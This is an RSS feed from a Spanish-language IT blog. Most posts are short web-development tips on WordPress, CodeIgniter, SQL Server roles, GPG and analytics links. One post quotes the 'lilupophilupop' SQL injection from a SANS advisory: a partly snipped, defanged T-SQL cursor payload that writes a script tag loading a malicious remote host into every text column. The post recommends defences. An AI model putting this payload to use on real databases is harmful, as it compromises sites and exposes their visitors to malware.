<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Avantix - Soluciones Informáticas</title>
	<atom:link href="http://www.avantix.com.ar/feed" rel="self" type="application/rss+xml" />
	<link>http://www.avantix.com.ar</link>
	<description></description>
	<lastBuildDate>Wed, 12 Dec 2012 14:04:32 +0000</lastBuildDate>
	<language>es-ES</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Oras</title>
		<link>http://www.avantix.com.ar/trabajos/oras.php</link>
		<comments>http://www.avantix.com.ar/trabajos/oras.php#comments</comments>
		<pubDate>Wed, 12 Dec 2012 14:04:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[trabajos]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=358</guid>
		<description><![CDATA[www.oras.com.ar &#160;]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.oras.com.ar">www.oras.com.ar</p>
<p></a></p>
<p>&nbsp;</p>
<p><img class="alignnone size-medium wp-image-359" alt="oras" src="http://www.avantix.com.ar/wp-content/uploads/2012/12/oras-300x227.png" width="300" height="227" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/trabajos/oras.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress: Permalinks y Custom Post Types</title>
		<link>http://www.avantix.com.ar/preguntas-frecuentes/wordpress-permalinks-y-custom-post-types.php</link>
		<comments>http://www.avantix.com.ar/preguntas-frecuentes/wordpress-permalinks-y-custom-post-types.php#comments</comments>
		<pubDate>Mon, 25 Jun 2012 04:40:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Preguntas Frecuentes]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=293</guid>
		<description><![CDATA[Si tenemos Permalinks habilitados, y creamos nuevos Custom Post Types, debemos tener cuidado de crear los nuevos post types con la estructura de rewrite correspondiente, la configuración debería ser asi, en el ejemplo el post type se llama episodios: &#8216;rewrite&#8217; =&#62; array(&#8216;slug&#8217; =&#62; &#8216;episodios&#8217;)]]></description>
				<content:encoded><![CDATA[<p>Si tenemos Permalinks habilitados, y creamos nuevos Custom Post Types, debemos tener cuidado de crear los nuevos post types con la estructura de rewrite correspondiente, la configuración debería ser asi, en el ejemplo el post type se llama episodios:</p>
<p>&#8216;rewrite&#8217; =&gt; array(&#8216;slug&#8217; =&gt; &#8216;episodios&#8217;)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/preguntas-frecuentes/wordpress-permalinks-y-custom-post-types.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Codeigniter: problemas con caracteres especiales</title>
		<link>http://www.avantix.com.ar/articulos-de-interes/codeigniter-problemas-con-caracteres-especiales.php</link>
		<comments>http://www.avantix.com.ar/articulos-de-interes/codeigniter-problemas-con-caracteres-especiales.php#comments</comments>
		<pubDate>Sat, 09 Jun 2012 23:11:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Artículos de Interés]]></category>
		<category><![CDATA[Codeigniter]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=290</guid>
		<description><![CDATA[Me encontre con un problema desarrollando en Codeigniter a la hora de mostrar los caracteres &#8220;especiales&#8221; de nuestra amada lengua castellana. La solución, es guardar TODAS las &#8220;vistas&#8221; como utf-8 y en el head de nuestras paginas incoporar el meta: &#60;meta charset=&#8221;utf-8&#8243; /&#62;]]></description>
				<content:encoded><![CDATA[<p>Me encontre con un problema desarrollando en Codeigniter a la hora de mostrar los caracteres &#8220;especiales&#8221; de nuestra amada lengua castellana.</p>
<p>La solución, es guardar TODAS las &#8220;vistas&#8221; como utf-8 y en el head de nuestras paginas incoporar el meta: &lt;meta charset=&#8221;utf-8&#8243; /&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/articulos-de-interes/codeigniter-problemas-con-caracteres-especiales.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection : lilupophilupop</title>
		<link>http://www.avantix.com.ar/articulos-de-interes/sql-injection-lilupophilupop.php</link>
		<comments>http://www.avantix.com.ar/articulos-de-interes/sql-injection-lilupophilupop.php#comments</comments>
		<pubDate>Fri, 08 Jun 2012 19:28:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Artículos de Interés]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=288</guid>
		<description><![CDATA[Encontramos un hack que esta ocurriendo frecuentemente en sitios web, en principio bajo ASP y SQL Server. El mismo injecta código que intenta redirigir los links que tengamos hacia sitios maliciosos. Fuente: http://isc.sans.edu/diary.html?storyid=12127 Se injecta lo siguiente, en varias de las tablas que tengamos. &#8220;&#62;&#60;/title&#62;&#60;script src=&#8221;hXXp://lilupophilupop.com/sl.php&#8221;&#62;&#60;/script&#62; &#160; El Script que se corre, segun la fuente que [...]]]></description>
				<content:encoded><![CDATA[<p>Encontramos un hack que esta ocurriendo frecuentemente en sitios web, en principio bajo ASP y SQL Server. El mismo injecta código que intenta redirigir los links que tengamos hacia sitios maliciosos.</p>
<p>Fuente: <a href="http://isc.sans.edu/diary.html?storyid=12127">http://isc.sans.edu/diary.html?storyid=12127</a></p>
<p>Se injecta lo siguiente, en varias de las tablas que tengamos.</p>
<p>&#8220;&gt;&lt;/title&gt;&lt;script src=&#8221;hXXp://lilupophilupop.<wbr>com/sl.php&#8221;&gt;&lt;/script&gt;</wbr></p>
<p>&nbsp;</p>
<p>El Script que se corre, segun la fuente que cito es:</p>
<p>&nbsp;</p>
<p><em>declare+@s+varchar(4000)+set+@s=cast(0xset ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in (&#8216;&#8212;&#8212;SNIP&#8212;&#8212;-<br />
IN EXEC(&#8216;UPDATE ['+@T+'] SET ['+@C+']=&#8221;&#8221;<strong>&gt;&lt;/title&gt;&lt;script src=&#8221;XXXX://lilupophilupop.com/sl.php&#8221;&gt;&lt;/script&gt;</strong>&lt;!&#8211;&#8221;+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)&lt;&gt;&#8221;&#8221;&gt;&lt;/title&gt;&lt;script&#8221; &#8216;) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor+&#8230;&#8230;&#8230;&#8230;&#8230;.</em></p>
<p>&nbsp;</p>
<p>La primer solución puede ser revisar nuestro usuario de SQL para revisar que tenga solo permisos de datareader y datawriter, y crear un Role para ejecutar Stored Procedures.</p>
<p>Luego, tenemos que revisar nuestra aplicación para analizar todos los inputs de información que tenemos.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/articulos-de-interes/sql-injection-lilupophilupop.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Permisos de Ejecución en SQL 2005</title>
		<link>http://www.avantix.com.ar/articulos-de-interes/permisos-de-ejecucion-en-sql-2005.php</link>
		<comments>http://www.avantix.com.ar/articulos-de-interes/permisos-de-ejecucion-en-sql-2005.php#comments</comments>
		<pubDate>Thu, 07 Jun 2012 14:06:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Artículos de Interés]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[SQL Server]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=283</guid>
		<description><![CDATA[Para dar permisos de ejecucion a Stored Procedures en MS SQL 2005, tendremos que crear otro rol para usar. db_datareader y db_datawriter permite hacer queries, consultas, updates y deletes; pero no permite ejecutar SP. Para hacer eso creamos un nuevo ROL y le otorgamos permisos de ejecucion: /* CREATE A NEW ROLE */ CREATE ROLE [...]]]></description>
				<content:encoded><![CDATA[<p>Para dar permisos de ejecucion a Stored Procedures en MS SQL 2005, tendremos que crear otro rol para usar. db_datareader y db_datawriter permite hacer queries, consultas, updates y deletes; pero no permite ejecutar SP.</p>
<p>Para hacer eso creamos un nuevo ROL y le otorgamos permisos de ejecucion:<br />
<code><br />
/* CREATE A NEW ROLE */<br />
CREATE ROLE db_executor</code></p>
<p>/* GRANT EXECUTE TO THE ROLE */<br />
GRANT EXECUTE TO db_executor</p>
<p>Luego para el usuario en cuestion le asignamos este nuevo ROLE.</p>
<p>Tener en cuenta que estamos asignando para TODOS los SP, luego debemos customizar para sacar los SP que no querramos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/articulos-de-interes/permisos-de-ejecucion-en-sql-2005.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Antispam para Comentarios de WordPress &#8211; Antispambee</title>
		<link>http://www.avantix.com.ar/articulos-de-interes/antispam-para-comentarios-de-wordpress-antispambee.php</link>
		<comments>http://www.avantix.com.ar/articulos-de-interes/antispam-para-comentarios-de-wordpress-antispambee.php#comments</comments>
		<pubDate>Thu, 19 Jan 2012 15:49:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Artículos de Interés]]></category>
		<category><![CDATA[antispam]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=253</guid>
		<description><![CDATA[Recientemente en éste sitio estaba siendo bombardeado por miles de Comentarios de Spam. No quise contratar Akismet, ya que si bien viene por default en WordPress hay que pagar un canon por su utilización. Hasta llegue a pensar en desarrollar mi propio plugin, utilizando el metódo estadísitico de Bayes para contar la ocurrencia de palabras, [...]]]></description>
				<content:encoded><![CDATA[<p>Recientemente en éste sitio estaba siendo bombardeado por miles de Comentarios de Spam.</p>
<p>No quise contratar Akismet, ya que si bien viene por default en WordPress hay que pagar un canon por su utilización.</p>
<p>Hasta llegue a pensar en desarrollar mi propio plugin, utilizando el metódo estadísitico de Bayes para contar la ocurrencia de palabras, y al marcar como Spam manualmente el sistema aprendiera a futuro determinar cuales mensajes eran Spam y cuales no. Pero&#8230;no es mi negocio hacer plugins, aunque todavía no descubrí realmente cual és mi negocio.</p>
<p>Finalmente me encontré con un hermoso plugin gratuito: AntispamBee for WordPress</p>
<p><a href="http://antispambee.com/" target="_blank">http://antispambee.com/</a></p>
<p>En el tiempo que tengo instalado el Plugin, detectó 1.542 Comentarios de Spam, ningún falso verdadero y ninguna intervención de mi parte.</p>
<p>Realmente un éxito.</p>
<p><img class="alignnone" title="Spammers" src="http://imgs.xkcd.com/comics/constructive.png" alt="" width="444" height="159" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/articulos-de-interes/antispam-para-comentarios-de-wordpress-antispambee.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Email marketing &#8211; Armar links para Google Analytics (URL Builder)</title>
		<link>http://www.avantix.com.ar/articulos-de-interes/email-marketing-armar-links-para-google-analytics-url-builder.php</link>
		<comments>http://www.avantix.com.ar/articulos-de-interes/email-marketing-armar-links-para-google-analytics-url-builder.php#comments</comments>
		<pubDate>Thu, 19 Jan 2012 15:48:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Artículos de Interés]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=251</guid>
		<description><![CDATA[Para realizar efectivas campañas de email, es necesario tener acceso a información de cómo resultó la misma. Google Analytics brinda herramientas para tener estadisticas del acceso a nuestro sitio, pero si no hacemos correctamente el newsletter, no sabremos de donde provienen los accesos. Para ellos hay que agregar información en los Links del newsletter, para [...]]]></description>
				<content:encoded><![CDATA[<p>Para realizar efectivas campañas de email, es necesario tener acceso a información de cómo resultó la misma.</p>
<p>Google Analytics brinda herramientas para tener estadisticas del acceso a nuestro sitio, pero si no hacemos correctamente el newsletter, no sabremos de donde provienen los accesos.</p>
<p>Para ellos hay que agregar información en los Links del newsletter, para que pueda ser filtrado en Analytics.</p>
<p>Google nos da la herramienta <a href="http://www.google.com/support/googleanalytics/bin/answer.py?hl=en&amp;answer=55578" target="_blank"><strong>URL Builder</strong></a></p>
<p>La misma nos permite crear los Links de manera sencilla para agregar al diseño de nuestros newsletters.</p>
<p>Cabe destacar que existen herramientas de envío de emails que automatizan ésta tarea, pero para aquellos que todavía hacemos las cosas manualmente, es un buen tip.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/articulos-de-interes/email-marketing-armar-links-para-google-analytics-url-builder.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Desactivar Skype en textos de un HTML</title>
		<link>http://www.avantix.com.ar/articulos-de-interes/desactivar-skype-en-textos-de-un-html.php</link>
		<comments>http://www.avantix.com.ar/articulos-de-interes/desactivar-skype-en-textos-de-un-html.php#comments</comments>
		<pubDate>Thu, 19 Jan 2012 15:48:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Artículos de Interés]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[skype]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=249</guid>
		<description><![CDATA[Puede suceder que la extensión que instala Skype en los browsers para reconocer números de teléfono, nos genere inconvenientes cuando texto que no es un número telefónico es tomado como tal. Un texto asi: 15-5555-5555-55 para nuestra aplicación y nuestro sitio puede significar un código, un texto, u otra cosa, y no un número telefónico. [...]]]></description>
				<content:encoded><![CDATA[<p>Puede suceder que la extensión que instala Skype en los browsers para reconocer números de teléfono, nos genere inconvenientes cuando texto que no es un número telefónico es tomado como tal.</p>
<p>Un texto asi: 15-5555-5555-55 para nuestra aplicación y nuestro sitio puede significar un código, un texto, u otra cosa, y no un número telefónico.</p>
<p>Para solucionar ésto, hay que agregar la siguiente línea en nuestro HTML.</p>
<p>&lt;meta name=&#8221;SKYPE_TOOLBAR&#8221; content=&#8221;SKYPE_TOOLBAR_PARSER_COMPATIBLE&#8221; /&gt;</p>
<p>Fuente: http://forum.skype.com/index.php?showtopic=78380<span id="more-249"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/articulos-de-interes/desactivar-skype-en-textos-de-un-html.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ocultar Shortcodes en excerpts (extractos)</title>
		<link>http://www.avantix.com.ar/articulos-de-interes/ocultar-shortcodes-en-excerpts-extractos.php</link>
		<comments>http://www.avantix.com.ar/articulos-de-interes/ocultar-shortcodes-en-excerpts-extractos.php#comments</comments>
		<pubDate>Thu, 19 Jan 2012 15:47:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Artículos de Interés]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=247</guid>
		<description><![CDATA[Muchas veces necesitamos mostrar el Excerpt de un post, o una parte del content, sobre todo en sitios de noticias, en la home o dentro de los widgets o sidebar de nuestros sitios. Imaginen que el content llama a un plugin que utiliza un shortcode (nextgen gallery por ejemplo).  Si traemos el contenido $post-&#62;post_content nos [...]]]></description>
				<content:encoded><![CDATA[<p>Muchas veces necesitamos mostrar el Excerpt de un post, o una parte del content, sobre todo en sitios de noticias, en la home o dentro de los widgets o sidebar de nuestros sitios.</p>
<p>Imaginen que el content llama a un plugin que utiliza un shortcode (nextgen gallery por ejemplo).  Si traemos el contenido $post-&gt;post_content nos va a traer el texto del shortcode.</p>
<p>No voy a mostrar como traer un excerpt o parte del post en su defecto, el código que pongo sirve para ocultar los Shortcodes para que no se vean. Usa expresiones regulares para sacar lo que esté dentro de [ shortcodes ]</p>
<p>$text = preg_replace( &#8216;|\[(.+?)\](.+?\[/\\1\])?|s&#8217;, &#8221;, $text);</p>
<p>Buscando la solución me encontraba siempre con ésta pregunta, por lo cual decidi respondarla, para ayudar a la comunidad.</p>
<p>http://wordpress.org/support/topic/how-to-remove-short-code-from-post-excerpt</p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/articulos-de-interes/ocultar-shortcodes-en-excerpts-extractos.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Encriptación GPG en Windows</title>
		<link>http://www.avantix.com.ar/articulos-de-interes/encriptacion-gpg-en-windows.php</link>
		<comments>http://www.avantix.com.ar/articulos-de-interes/encriptacion-gpg-en-windows.php#comments</comments>
		<pubDate>Thu, 19 Jan 2012 15:47:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Artículos de Interés]]></category>

		<guid isPermaLink="false">http://www.avantix.com.ar/?p=245</guid>
		<description><![CDATA[gpg &#8211;passphrase-fd 0 &#60; archivopassword.txt &#8211;output “archivo.txt” &#8211;decrypt “archivo.gpg” archivopassword.txt: archivo que contiene la passphrase archivo.txt: archivo de salida desencriptado archivo.gpg: archivo de entrada encriptado con GPG Certificado: Asignar nombre de la clave y crear passphrase.]]></description>
				<content:encoded><![CDATA[<p>gpg &#8211;passphrase-fd 0 &lt; archivopassword.txt &#8211;output “archivo.txt” &#8211;decrypt “archivo.gpg”</p>
<p>archivopassword.txt: archivo que contiene la passphrase</p>
<p>archivo.txt: archivo de salida desencriptado</p>
<p>archivo.gpg: archivo de entrada encriptado con GPG</p>
<p>Certificado:</p>
<p>Asignar nombre de la clave y crear passphrase.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.avantix.com.ar/articulos-de-interes/encriptacion-gpg-en-windows.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
